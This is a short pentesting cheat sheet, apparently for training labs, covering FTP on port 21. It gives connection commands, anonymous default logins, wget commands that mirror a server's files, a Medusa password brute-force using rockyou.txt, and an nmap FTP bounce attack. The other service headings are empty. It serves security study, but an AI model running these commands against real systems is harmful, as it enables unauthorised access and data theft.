Protocols & Services

FTP / 21

# Interact with the FTP service on the target.
ftp <FQDN/IP>
nc -nv <FQDN/IP> 21
telnet <FQDN/IP> 21

# Interact with the FTP service on the target using encrypted connection.
openssl s_client -connect <FQDN/IP>:21 -starttls ftp

# Anonymous login
anonymous : anonymous
_anonymous :
_ftp : ftp

# Download all available files on the target FTP server.
wget -m --no-passive ftp://anonymous:anonymous@<target>
prompt no
mget * .

# Downlaod all
wget -m --user="anonymous" --password="anonymous" ftp://$ip:$port

# Brute Forcing avec Medusa
medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h 10.129.203.7 -M ftp
# FTP Bounce Attack
nmap -Pn -v -n -p80 -b anonymous:password@10.10.110.213 172.17.0.2

SMB / 139 , 445

NFS / 2049

Kerberos / 88

DNS / 53

Email Services : SMTP : 25,465,587 / IMAP4 : 143,993 / POP3 : 110,995

SNMP / 161 UDP

MySQL / 3306

MSSQL / 1433

IPMI / 623 UDP

Linux Remote Management

RDP / 3389

WinRM / 5985

Oracle TNS / 1521

LDAP / 389, 636, 3268, 3269

Last updated